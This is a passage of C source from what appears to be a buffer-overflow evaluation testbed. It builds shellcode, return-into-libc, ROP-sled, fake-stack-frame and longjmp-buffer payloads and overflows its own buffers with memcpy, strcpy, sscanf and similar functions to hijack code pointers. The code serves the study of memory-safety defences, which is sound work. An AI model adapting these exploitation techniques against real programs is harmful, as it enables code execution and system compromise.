NULL; 639 | break; 640 | default: 641 | // Not an attack against a longjmp buffer 642 | break; 643 | } 644 | 645 | payload.inject_param = attack.inject_param; 646 | 647 | switch(attack.technique) { 648 | case DIRECT: 649 | /* Here payload.overflow_ptr will point to the attack code since */ 650 | /* a direct attack overflows the pointer target directly */ 651 | switch(attack.inject_param) { 652 | case INJECTED_CODE_NO_NOP: 653 | case INJECTED_CODE_SIMPLE_NOP: 654 | case INJECTED_CODE_POLY_NOP: 655 | case CREATE_FILE: 656 | payload.overflow_ptr = buffer; 657 | break; 658 | case RETURN_INTO_LIBC: 659 | if(attack.code_ptr == LONGJMP_BUF_STACK_VAR || 660 | attack.code_ptr == LONGJMP_BUF_STACK_PARAM || 661 | attack.code_ptr == LONGJMP_BUF_HEAP || 662 | attack.code_ptr == LONGJMP_BUF_BSS || 663 | attack.code_ptr == LONGJMP_BUF_DATA) { 664 | //NN: We fixed this piece of code to actually call 665 | //a usefull system call. We now re-write the esp pointer 666 | //inside the jmpbuf structure along with the eip to provide 667 | //the correct arguments to creat 668 | payload.overflow_ptr = &creat; //NN 669 | } else { 670 | payload.overflow_ptr = &creat; //NN42 671 | } 672 | break; 673 | 674 | case RETURN_ORIENTED_PROGRAMMING: 675 | payload.overflow_ptr = rop_sled; 676 | break; 677 | 678 | default: 679 | if(output_error_msg) { 680 | fprintf(stderr, "Error: Unknown choice of attack parameterA\n"); 681 | } 682 | exit(1); 683 | break; 684 | } 685 | break; 686 | case INDIRECT: 687 | /* Here payload.overflow_ptr will point to the final pointer target */ 688 | /* since an indirect attack first overflows a general pointer that in */ 689 | /* turn is dereferenced to overwrite the target pointer */ 690 | switch(attack.code_ptr) { 691 | case RET_ADDR: 692 | payload.overflow_ptr = RET_ADDR_PTR; 693 | break; 694 | case OLD_BASE_PTR: 695 | payload.overflow_ptr = OLD_BP_PTR; 696 | //NN:Change this when we change the return into libc from system to creat 697 | if(attack.inject_param == RETURN_INTO_LIBC) { 698 | payload.fake_return_addr = &creat; //NN42 699 | } else { 700 | payload.fake_return_addr = (long *)buffer; 701 | } 702 | break; 703 | case FUNC_PTR_STACK_VAR: 704 | payload.overflow_ptr = &stack_func_ptr; 705 | break; 706 | case FUNC_PTR_STACK_PARAM: 707 | payload.overflow_ptr = &stack_func_ptr_param; 708 | break; 709 | case FUNC_PTR_HEAP: 710 | payload.overflow_ptr = heap_func_ptr; 711 | break; 712 | case FUNC_PTR_BSS: 713 | payload.overflow_ptr = &bss_func_ptr; 714 | break; 715 | case FUNC_PTR_DATA: 716 | //NN ofcourse we are not sure if the else is correct...we will see 717 | if (contains_terminating_char(&data_func_ptr1)) 718 | payload.overflow_ptr = &data_func_ptr2; 719 | else 720 | payload.overflow_ptr = &data_func_ptr1; 721 | break; 722 | case LONGJMP_BUF_STACK_VAR: 723 | payload.overflow_ptr = &stack_jmp_buffer[0].__jmpbuf[5]; 724 | break; 725 | case LONGJMP_BUF_STACK_PARAM: 726 | payload.overflow_ptr = &stack_jmp_buffer_param[0].__jmpbuf[5]; 727 | break; 728 | case LONGJMP_BUF_HEAP: 729 | //payload.overflow_ptr = &heap_jmp_buffer[0].__jmpbuf[5]; 730 | payload.overflow_ptr = (void *)heap_jmp_buffer + 20; // NN 731 | break; 732 | case LONGJMP_BUF_BSS: 733 | //payload.overflow_ptr = &bss_jmp_buffer[0].__jmpbuf[5]; 734 | payload.overflow_ptr = &bss_jmp_buffer_indirect[0].__jmpbuf[5]; //NN 735 | break; 736 | case LONGJMP_BUF_DATA: 737 | payload.overflow_ptr = &data_jmp_buffer[0].__jmpbuf[5]; 738 | break; 739 | default: 740 | if(output_error_msg) { 741 | fprintf(stderr, "Error: Unknown choice of code pointer\n"); 742 | } 743 | exit(1); 744 | break; 745 | } 746 | break; 747 | default: 748 | if(output_error_msg) { 749 | fprintf(stderr, "Error: Unknown choice of technique\n"); 750 | } 751 | exit(1); 752 | break; 753 | } 754 | 755 | /* Calculate payload size for overflow of chosen target address */ 756 | if ((unsigned long)target_addr > (unsigned long)buffer) { 757 | payload.size = 758 | (unsigned int)((unsigned long)target_addr + sizeof(long) 759 | - (unsigned long)buffer 760 | + 1); /* For null termination so that buffer can be */ 761 | /* used with string functions in standard library */ 762 | fprintf(stderr, "target_addr == %p\n", target_addr); 763 | fprintf(stderr, "buffer == %p\n", buffer); 764 | fprintf(stderr, "psize == %d\n",payload.size); 765 | fprintf(stderr, "stack_buffer == %p\n", stack_buffer); 766 | 767 | 768 | } else { 769 | if(output_error_msg) { 770 | fprintf(stderr, 771 | "Error: Target address is lower than address of overflow buffer.\n"); 772 | fprintf(stderr, 773 | " Overflow direction is towards higher addresses.\n"); 774 | fprintf(stderr, "target_addr == %p\n", target_addr); 775 | fprintf(stderr, "heap_func_ptr == %p\n", heap_func_ptr); 776 | fprintf(stderr, "buffer == %p\n", buffer); 777 | fprintf(stderr, "payload.size == %d\n", payload.size); 778 | } 779 | exit(1); 780 | } 781 | /* Set first byte of buffer to null to allow concatenation functions to */ 782 | /* start filling the buffer from that first byte */ 783 | buffer[0] = '\0'; 784 | 785 | if(output_debug_info) { 786 | fprintf(output_stream, "&target_addr = %lx, target_addr = %lx, *target_addr = %lx\n", 787 | (long)&target_addr, (long)target_addr, *(long *)target_addr); 788 | fprintf(output_stream, "&stack_mem_ptr = %lx, stack_mem_ptr = %lx, *stack_mem_ptr = %lx\n", 789 | (long)&stack_mem_ptr, (long)stack_mem_ptr, (long)*stack_mem_ptr); 790 | fprintf(output_stream, "&buffer = %lx, buffer = %lx\n", 791 | (long)&buffer, (long)buffer); 792 | } 793 | 794 | 795 | /*****************/ 796 | /* Build payload */ 797 | /*****************/ 798 | 799 | if(!build_payload(&payload)) { 800 | if(output_error_msg) { 801 | fprintf(stderr, "Error: Could not build payload\n"); 802 | fflush(stderr); 803 | } 804 | exit(1); 805 | } 806 | 807 | /* Special case: Attacks on old base pointer */ 808 | if(attack.technique == DIRECT && 809 | attack.code_ptr == OLD_BASE_PTR) { 810 | 811 | /* Configure so that old base pointer will be overwritten to */ 812 | /* point to the copied base pointer in the injected fake stack */ 813 | /* frame. This needs to be done here since only now do we know */ 814 | /* on which address the copied base pointer ends up. The offset */ 815 | /* has been set on the build_payload() function. */ 816 | 817 | // First - point to the copied base pointer 818 | stack_mem_ptr = (long *)(buffer + // start 819 | payload.size - // end 820 | 1 - // null terminator 821 | sizeof(long) - // copied correct ret 822 | sizeof(long) - // injected new base ptr 823 | payload.offset_to_fake_return_addr - 824 | sizeof(long)); // the copied base ptr 825 | 826 | // Make indirect reference so that overwritten base ptr points 827 | // to the copied base ptr futher up the stack 828 | payload.overflow_ptr = &stack_mem_ptr; 829 | 830 | // Copy pointer to copied base pointer 831 | memcpy(&payload.buffer[payload.size - // start 832 | 1 - // null terminator 833 | sizeof(long) - // copied correct ret 834 | sizeof(long)], // injected new base ptr 835 | payload.overflow_ptr, 836 | sizeof(long)); 837 | } 838 | 839 | if(output_debug_info) { 840 | save_memory(payload_dump, payload.buffer, 841 | ((payload.size / sizeof(long)) + 842 | (payload.size % sizeof(long)))); 843 | 844 | // Output some addresses and values 845 | fprintf(output_stream, "Address to payload->buffer: %lx\n", &(payload.buffer)); 846 | fprintf(output_stream, "Value of payload->buffer: %lx\n", (payload.buffer)); 847 | fprintf(output_stream, "Address to overflow buffer: %lx\n", (long)buffer); 848 | fprintf(output_stream, "Value of overflow buffer: %lx\n", *buffer); 849 | fprintf(output_stream, "payload.overflow_ptr: %lx\n", payload.overflow_ptr); 850 | // Output payload info 851 | print_payload_info(output_stream, &payload); 852 | // Save stack before overflow 853 | save_memory(mem_dump1, dump_start_addr, DEFAULT_DUMP_SIZE); 854 | } /* DEBUG */ 855 | 856 | 857 | /****************************************/ 858 | /* Overflow buffer with chosen function */ 859 | /* Note: Here memory will be corrupted */ 860 | /****************************************/ 861 | switch(attack.function) { 862 | case MEMCPY: 863 | // memcpy() shouldn't copy the terminating NULL, therefore - 1 864 | memcpy(buffer, payload.buffer, payload.size - 1); 865 | break; 866 | case STRCPY: 867 | strcpy(buffer, payload.buffer); 868 | break; 869 | case STRNCPY: 870 | strncpy(buffer, payload.buffer, payload.size); 871 | break; 872 | case SPRINTF: 873 | sprintf(buffer, "%s", payload.buffer); 874 | break; 875 | case SNPRINTF: 876 | snprintf(buffer, payload.size, "%s", payload.buffer); 877 | break; 878 | case STRCAT: 879 | strcat(buffer, payload.buffer); 880 | break; 881 | case STRNCAT: 882 | strncat(buffer, payload.buffer, payload.size); 883 | break; 884 | case SSCANF: 885 | snprintf(format_string_buf, 15, "%%%ic", payload.size); 886 | sscanf(payload.buffer, format_string_buf, buffer); 887 | break; 888 | case FSCANF: 889 | snprintf(format_string_buf, 15, "%%%ic", payload.size); 890 | fscanf_temp_file = fopen("./fscanf_temp_file", "w+"); 891 | fprintf(fscanf_temp_file, "%s", payload.buffer); 892 | rewind(fscanf_temp_file); 893 | fscanf(fscanf_temp_file, format_string_buf, buffer); 894 | 895 | /** Fclose will try to do pointer arithmetic with ebp which is now broken and thus will crash 896 | * instead of returning... when this function returns, then the shellcode is triggered correctly 897 | 898 | *fclose(fscanf_temp_file); 899 | *unlink("./fscanf_temp_file"); 900 | **/ 901 | break; 902 | case HOMEBREW: 903 | homebrew_memcpy(buffer, payload.buffer, payload.size - 1); 904 | break; 905 | default: 906 | if(output_error_msg) { 907 | fprintf(stderr, "Error: Unknown choice of function\n"); 908 | } 909 | exit(1); 910 | break; 911 | } 912 | 913 | 914 | /*******************************************/ 915 | /* Ensure that code pointer is overwritten */ 916 | /*******************************************/ 917 | 918 | switch(attack.technique) { 919 | case DIRECT: 920 | /* Code pointer already overwritten */ 921 | break; 922 | case INDIRECT: 923 | switch(attack.inject_param) { 924 | case INJECTED_CODE_NO_NOP: 925 | case INJECTED_CODE_SIMPLE_NOP: 926 | case INJECTED_CODE_POLY_NOP: 927 | case CREATE_FILE: 928 | 929 | if(attack.code_ptr == OLD_BASE_PTR) { 930 | // Point to the old base pointer of the fake stack frame 931 | *(long *)(*(long *)target_addr) = 932 | (long)(buffer + // start 933 | payload.size - // end 934 | 1 - // null terminator 935 | sizeof(long) - // injected new base ptr 936 | payload.offset_to_fake_return_addr - 937 | sizeof(long)); // the copied base ptr 938 | 939 | } else { 940 | // Point to the attack code 941 | *(long *)(*(long *)target_addr) = (long)buffer; 942 | } 943 | break; 944 | case RETURN_INTO_LIBC: 945 | if(attack.code_ptr == RET_ADDR || 946 | attack.code_ptr == LONGJMP_BUF_STACK_VAR || 947 | attack.code_ptr == LONGJMP_BUF_STACK_PARAM || 948 | attack.code_ptr == LONGJMP_BUF_HEAP || 949 | attack.code_ptr == LONGJMP_BUF_BSS || 950 | attack.code_ptr == LONGJMP_BUF_DATA) { 951 | /* Note: These attack forms are considered impossible */ 952 | /* When overflowing the return address or the code pointer in a */ 953 | /* longjmp buffer it's complicated to pass on parameters to the */ 954 | /* libc function, but sleep() accepts most params */ 955 | //*(long *)(*(long *)target_addr) = (long)&sleep; 956 | *(long *)(*(long *)target_addr) = (long)&creat; //NN 957 | } else if(attack.code_ptr == OLD_BASE_PTR) { 958 | // First - point to the copied base pointer 959 | *(long *)(*(long *)target_addr) = 960 | (long *)(buffer + // start 961 | payload.size - // end 962 | 1 - // null terminator 963 | sizeof(long) - // injected memory pointer 964 | payload.offset_to_fake_return_addr - 965 | sizeof(long)); // the new old base ptr 966 | printf("*(long *)(*(long *)target_addr) = %p\n", 967 | *(long *)(*(long *)target_addr)); 968 | printf("*(long *)(*(long *)(*(long *)target_addr)) = %p\n", 969 | *(long *)(*(long *)(*(long *)target_addr))); 970 | printf("*(long *)(*(long *)(*(long *)target_addr) + 4) = %p\n", 971 | *(long *)(*(long *)(*(long *)target_addr) + 4)); 972 | printf("*(long *)(*(long *)(*(long *)target_addr) + 8) = %p\n", 973 | *(long *)(*(long *)(*(long *)target_addr) + 8)); 974 | printf("*(long *)(*(long *)(*(long *)target_addr) + 12) = %p\n", 975 | *(long *)(*(long *)(*(long *)target_addr) + 12)); 976 | printf("*(long *)(*(long *)(*(long *)target_addr) + 16) = %p\n", 977 | *(long *)(*(long *)(*(long *)target_addr) + 16)); 978 | 979 | printf("Value written to target_addr = %p\n", 980 | (long *)(buffer + // start 981 | payload.size - // end 982 | 1 - // null terminator 983 | sizeof(long) - // injected memory pointer 984 | payload.offset_to_fake_return_addr - 985 | sizeof(long)) // the new old base ptr 986 | ); 987 | } else { 988 | /* Note: These attack forms are considered impossible */ 989 | *(long *)(*(long *)target_addr) = (long)&system; 990 | } 991 | break; 992 | default: 993 | if(output_error_msg) { 994 | fprintf(stderr, "Error: Unknown choice of attack parameterB\n"); 995 | } 996 | exit(1); 997 | break; 998 | } 999 | if(output_debug_info) { 1000 | fprintf(output_stream, "*(long *)target_addr = %lx, *(long *)(*(long *)target_addr) = %lx\n\n", *(long *)target_addr, *(long *)(*(long *)target_addr)); 1001 | } 1002 | /* @todo Write payload.overflow_ptr to overwritten pointer */ 1003 | break; 1004 | default: 1005 | if(output_error_msg) { 1006 | fprintf(stderr, "Error: Unknown choice of technique\n"); 1007 | } 1008 | exit(1); 1009 | break; 1010 | } 1011 | 1012 | 1013 | /*************************************************************/ 1014 | /* Ensure that program jumps to the overwritten code pointer */ 1015 | /* Send "/bin/sh" as parameter since it might be a return- */ 1016 | /* into-libc attack calling system() */ 1017 | /*************************************************************/ 1018 | if(!output_debug_info) { 1019 | // Only do this if not in debug mode since 1020 | // an attack effectively destroys the memory 1021 | // structures needed to inspect functionality 1022 | switch(attack.code_ptr) { 1023 | case RET_ADDR: 1024 | case OLD_BASE_PTR: 1025 | /* Just let the function carry on and eventually return */ 1026 | break; 1027 | case FUNC_PTR_STACK_VAR: 1028 | ((int (*)(char *,int)) (*stack_func_ptr)) ("/tmp/rip-eval/f_xxxx",700); 1029 | break; 1030 | 1031 | case FUNC_PTR_STACK_PARAM: 1032 | ((int (*)(char *,int)) (*stack_func_ptr_param))("/tmp/rip-eval/f_xxxx",700); 1033 | break; 1034 | 1035 | case FUNC_PTR_HEAP: 1036 | // Get the function pointer stored in the overflown heap buffer 1037 | ((int (*)(char *,int))*heap_func_ptr)("/tmp/rip-eval/f_xxxx",700); 1038 | break; 1039 | 1040 | case FUNC_PTR_BSS: 1041 | ((int (*)(char *,int)) (*bss_func_ptr))("/tmp/rip-eval/f_xxxx",700); 1042 | break; 1043 | 1044 | case FUNC_PTR_DATA: 1045 | //NN 1046 | if (contains_terminating_char(&data_func_ptr1)) 1047 | ((int (*)(char *,int)) (*data_func_ptr2))("/tmp/rip-eval/f_xxxx",700); 1048 | else 1049 | ((int (*)(char *,int)) (*data_func_ptr1))("/tmp/rip-eval/f_xxxx",700); 1050 | break; 1051 | case LONGJMP_BUF_STACK_VAR: 1052 | longjmp(stack_jmp_buffer, 1); 1053 | break; 1054 | case LONGJMP_BUF_STACK_PARAM: 1055 | longjmp(stack_jmp_buffer_param, 1); 1056 | break; 1057 | case LONGJMP_BUF_HEAP: 1058 | longjmp(*heap_jmp_buffer, 1); 1059 | break; 1060 | case LONGJMP_BUF_BSS: 1061 | /* NN: Indirect jmping needs to be treated differently */ 1062 | if(attack.technique == DIRECT) 1063 | longjmp(bss_jmp_buffer, 1); 1064 | else if (attack.technique == INDIRECT) 1065 | longjmp(bss_jmp_buffer_indirect, 1); 1066 | break; 1067 | case LONGJMP_BUF_DATA: 1068 | longjmp(data_jmp_buffer, 1); 1069 | break; 1070 | 1071 | case STRUCT_FUNC_PTR_STACK: 1072 | (*stack_struct.func_ptr)("/tmp/rip-eval/f_xxxx",700); 1073 | break; 1074 | case STRUCT_FUNC_PTR_HEAP: 1075 | (*heap_struct->func_ptr)("/tmp/rip-eval/f_xxxx",700); 1076 | break; 1077 | case STRUCT_FUNC_PTR_DATA: 1078 | (*data_struct.func_ptr)("/tmp/rip-eval/f_xxxx",700); 1079 | break; 1080 | case STRUCT_FUNC_PTR_BSS: 1081 | (*bss_struct.func_ptr)("/tmp/rip-eval/f_xxxx",700); 1082 | break; 1083 | 1084 | 1085 | default: 1086 | if(output_error_msg) { 1087 | fprintf(stderr, "Error: Unknown choice of code pointer\n"); 1088 | } 1089 | exit(1); 1090 | break; 1091 | } 1092 | } 1093 | 1094 | 1095 | if(output_debug_info) { 1096 | save_memory(mem_dump2, dump_start_addr, DEFAULT_DUMP_SIZE); 1097 | printf("output_stream = %p, &output_stream 0 %p\n\n", 1098 | output_stream, &output_stream); 1099 | print_three_memory_dumps(output_stream, 1100 | mem_dump1, mem_dump2, payload_dump, 1101 | DEFAULT_DUMP_SIZE); 1102 | fflush(output_stream); 1103 | if(output_error_msg) { 1104 | fprintf(stderr, "Dumped memory to stream\n"); 1105 | } 1106 | 1107 | sleep(1); 1108 | } /* DEBUG */ 1109 | } 1110 | 1111 | 1112 | /*******************/ 1113 | /* BUILD_PAYLOAD() */ 1114 | /*******************/ 1115 | boolean build_payload(CHARPAYLOAD *payload) { 1116 | size_t size_shellcode, bytes_to_pad, i; 1117 | char *shellcode, *temp_char_buffer, *temp_char_ptr; 1118 | 1119 | switch(attack.inject_param) { 1120 | case INJECTED_CODE_NO_NOP: 1121 | if(payload->size < (size_shellcode_nonop + sizeof(long))) { 1122 | return FALSE; 1123 | } 1124 | size_shellcode = size_shellcode_nonop; 1125 | shellcode = shellcode_nonop; 1126 | break; 1127 | case INJECTED_CODE_SIMPLE_NOP: 1128 | if(payload->size < (size_shellcode_simplenop + sizeof(long))) { 1129 | printf("Payload size problem..............................\n"); 1130 | return FALSE; 1131 | } 1132 | size_shellcode = size_shellcode_simplenop; 1133 | shellcode = shellcode_simplenop; 1134 | break; 1135 | case INJECTED_CODE_POLY_NOP: 1136 | if(payload->size < (size_shellcode_polynop + sizeof(long))) { 1137 | return FALSE; 1138 | } 1139 | size_shellcode = size_shellcode_polynop; 1140 | shellcode = shellcode_polynop; 1141 | break; 1142 | case CREATE_FILE: 1143 | if(payload->size < (size_shellcode_createfile + sizeof(long))) { 1144 | return FALSE; 1145 | } 1146 | size_shellcode = size_shellcode_createfile; 1147 | shellcode = createfile_shellcode; 1148 | break; 1149 | case RETURN_INTO_LIBC: 1150 | if(payload->size < sizeof(long)) { 1151 | return FALSE; 1152 | } 1153 | size_shellcode = 0; 1154 | shellcode = "dummy"; 1155 | break; 1156 | 1157 | //NN42: Experimental 1158 | case RETURN_ORIENTED_PROGRAMMING: 1159 | size_shellcode = 0; 1160 | shellcode = "dummy"; 1161 | break; 1162 | 1163 | default: 1164 | if(output_error_msg) { 1165 | fprintf(stderr, "Error: Unknown choice of attack parameter"); 1166 | } 1167 | exit(1); 1168 | break; 1169 | } 1170 | 1171 | //at this point, shellcode points to the correct shellcode and shellcode size points 1172 | //to the correct size 1173 | 1174 | 1175 | /* Allocate payload buffer */ 1176 | 1177 | payload->buffer = (char *)malloc(payload->size); 1178 | if(payload->buffer == NULL) { 1179 | perror("Unable to allocate payload buffer."); 1180 | return FALSE; 1181 | } 1182 | /* Copy shellcode into payload buffer */ 1183 | memcpy(payload->buffer, shellcode, size_shellcode); 1184 | 1185 | /* Calculate number of bytes to pad with */ 1186 | /* size - shellcode - target address - null terminator */ 1187 | bytes_to_pad = 1188 | (payload->size - size_shellcode - sizeof(long) - sizeof(char)); 1189 | 1190 | /* Pad payload buffer with dummy bytes */ 1191 | memset((payload->buffer + size_shellcode), 'A', bytes_to_pad); 1192 | 1193 | //NN 1194 | fprintf(stderr,"\noverflow_ptr: %p\n",payload->overflow_ptr); 1195 | 1196 | 1197 | /* *************************************** */ 1198 | /* Special case: Build fake longjmp buffer */ 1199 | /* *************************************** */ 1200 | if(attack.technique == DIRECT && 1201 | (attack.code_ptr == LONGJMP_BUF_STACK_VAR || 1202 | attack.code_ptr == LONGJMP_BUF_STACK_PARAM || 1203 | attack.code_ptr == LONGJMP_BUF_HEAP || 1204 | attack.code_ptr == LONGJMP_BUF_BSS || 1205 | attack.code_ptr == LONGJMP_BUF_DATA)) { 1206 | 1207 | /* If we're aiming for a direct longjmp buffer attack we need to copy BX */ 1208 | /* SI, DI, BP, and SP from jmp_buffer to build a complete longjmp buffer */ 1209 | memcpy(&(payload->buffer[size_shellcode + 1210 | bytes_to_pad - 1211 | (5*sizeof(long))]), 1212 | payload->jmp_buffer, 1213 | 5 * sizeof(long)); 1214 | 1215 | 1216 | // For attacks against a stack parameter we need to 1217 | // copy the pointer to the parameter 1218 | if(attack.code_ptr == LONGJMP_BUF_STACK_PARAM) { 1219 | // Array parameters are passed on as pointers so we need to 1220 | // include the correct pointer to the actual longjmp buffer 1221 | // in the right place on the stack below the return address 1222 | size_t offset_to_stack_jmp_buffer_param = 1223 | ((unsigned long)payload->jmp_buffer) - 1224 | ((unsigned long)payload->stack_jmp_buffer_param); 1225 | 1226 | // Copy the pointer to the longjmp buffer parameter 1227 | // to the right place in the payload buffer 1228 | memcpy(&(payload->buffer[size_shellcode + 1229 | bytes_to_pad - 1230 | (5*sizeof(long)) - 1231 | offset_to_stack_jmp_buffer_param]), 1232 | payload->stack_jmp_buffer_param, 1233 | sizeof(long)); 1234 | } 1235 | 1236 | //NN: Trying to make an actual system systemcall instead of sleep 1237 | //NN: Overwriting the saved esp 1238 | if(attack.inject_param == RETURN_INTO_LIBC){ 1239 | void *pr = fake_esp_jmpbuff + 12; 1240 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad - 1*sizeof(long)]),&pr,sizeof(long)); 1241 | fprintf(stderr,"Changed esp register in payload\n"); 1242 | } 1243 | 1244 | } 1245 | 1246 | /* ************************************ */ 1247 | /* Special case: Build fake stack frame */ 1248 | /* ************************************ */ 1249 | if(attack.code_ptr == OLD_BASE_PTR) { 1250 | 1251 | // Set an offset for where in the payload padding 1252 | // area to inject a fake stack frame with a 1253 | // copied base pointer and a return address 1254 | // pointing to attack code 1255 | payload->offset_to_fake_return_addr = (8 * sizeof(long)); 1256 | 1257 | if(attack.technique == DIRECT) { 1258 | /* Insert fake return address after the fake old base pointer */ 1259 | memcpy(&(payload->buffer[size_shellcode + 1260 | bytes_to_pad - 1261 | payload->offset_to_fake_return_addr]), 1262 | &payload->overflow_ptr, 1263 | sizeof(long)); 1264 | 1265 | /* Insert pointer to environment variable containing a */ 1266 | /* "/bin/sh" parameter for return-into-libc attacks */ 1267 | //NN42 Changed to creat 1268 | temp_char_ptr = getenv("param_to_creat"); 1269 | memcpy(&(payload->buffer[size_shellcode + 1270 | bytes_to_pad - 1271 | payload->offset_to_fake_return_addr + 1272 | 2*sizeof(long)]), 1273 | &temp_char_ptr, 1274 | sizeof(long)); 1275 | 1276 | //NN42 Adding permissions 1277 | memcpy(&(payload->buffer[size_shellcode + 1278 | bytes_to_pad - 1279 | payload->offset_to_fake_return_addr + 1280 | 3*sizeof(long)]), 1281 | &fake_esp_jmpbuff[14], 1282 | sizeof(long)); 1283 | 1284 | 1285 | 1286 | 1287 | // Extend the payload to cover the return address 1288 | // The return address is not going to be changed 1289 | // since the attack targets the old base pointer 1290 | // but it's more robust to write the return address 1291 | // in its correct place instead of corrupting it 1292 | // with the terminating null char in the payload 1293 | 1294 | // Extend payload size 1295 | payload->size += sizeof(long); 1296 | // Allocate new payload buffer 1297 | temp_char_buffer = (char *)malloc(payload->size); 1298 | // Copy current payload to new payload buffer 1299 | memcpy(temp_char_buffer, payload->buffer, payload->size); 1300 | // Copy existing return address to new payload 1301 | // for(i = 1 ; i <= sizeof(long); i++) { 1302 | memcpy(temp_char_buffer + payload->size - 1 - sizeof(long), 1303 | (payload->ptr_to_correct_return_addr), 1304 | sizeof(long)); 1305 | 1306 | 1307 | // Free the old payload buffer 1308 | free(payload->buffer); 1309 | // Set the new payload buffer 1310 | payload->buffer = temp_char_buffer; 1311 | 1312 | } else if(attack.technique == INDIRECT) { 1313 | /* Insert fake return address after the fake old base pointer */ 1314 | memcpy(&(payload->buffer[size_shellcode + 1315 | bytes_to_pad - 1316 | payload->offset_to_fake_return_addr]), 1317 | &payload->fake_return_addr, 1318 | sizeof(long)); 1319 | 1320 | /* Insert pointer to environment variable containing a */ 1321 | /* "/tmp/rip-eval/f_xxxx" parameter for return-into-libc attacks */ 1322 | temp_char_ptr = getenv("param_to_creat"); 1323 | memcpy(&(payload->buffer[size_shellcode + 1324 | bytes_to_pad - 1325 | payload->offset_to_fake_return_addr + 1326 | sizeof(long)]), 1327 | &temp_char_ptr, 1328 | sizeof(long)); 1329 | 1330 | memcpy(&(payload->buffer[size_shellcode + 1331 | bytes_to_pad - 1332 | payload->offset_to_fake_return_addr + 1333 | 2*sizeof(long)]), 1334 | &temp_char_ptr, 1335 | sizeof(long)); 1336 | 1337 | //NN: Setting up the second parameter for the creat call, the file permissions 1338 | memcpy(&(payload->buffer[size_shellcode + 1339 | bytes_to_pad - 1340 | payload->offset_to_fake_return_addr + 1341 | 3*sizeof(long)]), 1342 | &fake_esp_jmpbuff[14], 1343 | sizeof(long)); 1344 | 1345 | /* Add the address to the direct or indirect target */ 1346 | 1347 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 1348 | &payload->overflow_ptr, 1349 | sizeof(long)); 1350 | 1351 | } else { 1352 | if(output_error_msg) { 1353 | fprintf(stderr, "Error: Unknown choice of attack parameter"); 1354 | } 1355 | exit(1); 1356 | } 1357 | } else if(attack.technique == DIRECT && attack.code_ptr == RET_ADDR) { 1358 | 1359 | /* Extend the payload to cover two memory addresses beyond the */ 1360 | /* return address and inject a pointer to environment variable */ 1361 | /* containing a "/bin/sh" parameter for return-into-libc attacks*/ 1362 | 1363 | if(attack.inject_param == RETURN_ORIENTED_PROGRAMMING){ 1364 | fprintf(stderr,"ROP Sledding....;)\n"); 1365 | 1366 | // Extend payload size 1367 | payload->size += (7 * sizeof(long)); 1368 | // Allocate new payload buffer 1369 | temp_char_buffer = (char *)malloc(payload->size); 1370 | // Copy current payload to new payload buffer 1371 | memcpy(temp_char_buffer, payload->buffer, payload->size); 1372 | // Copy existing return address to new payload 1373 | memcpy(temp_char_buffer + payload->size - 1 - sizeof(long), 1374 | (payload->ptr_to_correct_return_addr), 1375 | sizeof(long)); 1376 | 1377 | free(payload->buffer); 1378 | // Set the new payload buffer 1379 | payload->buffer = temp_char_buffer; 1380 | 1381 | //Overwriting Return address with address of gadget1 1382 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 1383 | &rop_sled, 1384 | 7* sizeof(long)); 1385 | 1386 | /* 1387 | //Argument for 1st pop 1388 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 1389 | &gadget1, 1390 | sizeof(long)); 1391 | */ 1392 | } 1393 | else{ 1394 | 1395 | // Extend payload size 1396 | payload->size += (3 * sizeof(long)); 1397 | // Allocate new payload buffer 1398 | temp_char_buffer = (char *)malloc(payload->size); 1399 | // Copy current payload to new payload buffer 1400 | memcpy(temp_char_buffer, payload->buffer, payload->size); 1401 | // Copy existing return address to new payload 1402 | memcpy(temp_char_buffer + payload->size - 1 - sizeof(long), 1403 | (payload->ptr_to_correct_return_addr), 1404 | sizeof(long)); 1405 | // Free the old payload buffer 1406 | free(payload->buffer); 1407 | // Set the new payload buffer 1408 | payload->buffer = temp_char_buffer; 1409 | 1410 | /* Insert pointer to environment variable containing a */ 1411 | /* "/bin/sh" parameter for return-into-libc attacks */ 1412 | temp_char_ptr = getenv("param_to_creat"); // NN42 1413 | memcpy(&(payload->buffer[payload->size - 1414 | 5 - // NULL terminator 1415 | sizeof(long)]), // the injected parameter 1416 | &temp_char_ptr, 1417 | sizeof(long)); 1418 | 1419 | 1420 | //NN42: Inserting the permissions 1421 | memcpy(&(payload->buffer[payload->size - 1 - 1422 | sizeof(long)]), // the injected parameter 1423 | &fake_esp_jmpbuff[14], 1424 | sizeof(long)); 1425 | 1426 | /* Add the address to the direct or indirect target */ 1427 | 1428 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 1429 | &payload->overflow_ptr, 1430 | sizeof(long)); 1431 | }//Else of Non-return oriented programming closes 1432 | 1433 | } else { 1434 | // Not a base pointer attack nor a direct attack against the ret 1435 | /* Add the address to the direct or indirect target */ 1436 | 1437 | memcpy(&(payload->buffer[size_shellcode + bytes_to_pad]), 1438 | &payload->overflow_ptr, 1439 | sizeof(long)); 1440 | } 1441 | 1442 | /* If the payload happens to contain a null that null will */ 1443 | /* terminate all string functions so we try removing it */ 1444 | if(!(attack.function == MEMCPY) && !(attack.function == HOMEBREW)) { 1445 | remove_nulls(payload->buffer, payload->size); 1446 | } 1447 | 1448 | /* Finally, add the terminating null character at the end */ 1449 | memset((payload->buffer + payload->size - 1), '\0', 1); 1450 | 1451 | return TRUE; 1452 | } 1453 | 1454 | void set_technique(char *choice) { 1455 | if(strcmp(choice, opt_techniques[0]) == 0) { 1456 | attack.technique = DIRECT; 1457 | } else if(strcmp(choice, opt_techniques[1]) == 0) { 1458 | attack.technique = INDIRECT; 1459 | } else { 1460 | fprintf(stderr, "Error: Unknown choice of technique \"%s\"\n", 1461 | choice); 1462 | } 1463 | } 1464 | 1465 | void set_inject_param(char *choice) { 1466 | if(strcmp(choice, opt_inject_params[0]) == 0) { 1467 | attack.inject_param = INJECTED_CODE_NO_NOP; 1468 | } else if(strcmp(choice, opt_inject_params[1]) == 0) { 1469 | attack.inject_param = INJECTED_CODE_SIMPLE_NOP; 1470 | } else if(strcmp(choice, opt_inject_params[2]) == 0) { 1471 | attack.inject_param = INJECTED_CODE_POLY_NOP; 1472 | } else if(strcmp(choice, opt_inject_params[3]) == 0) { 1473 | attack.inject_param = RETURN_INTO_LIBC; 1474 | } else if(strcmp(choice, opt_inject_params[4]) == 0) { 1475 | attack.inject_param = CREATE_FILE; 1476 | } else if(strcmp(choice, 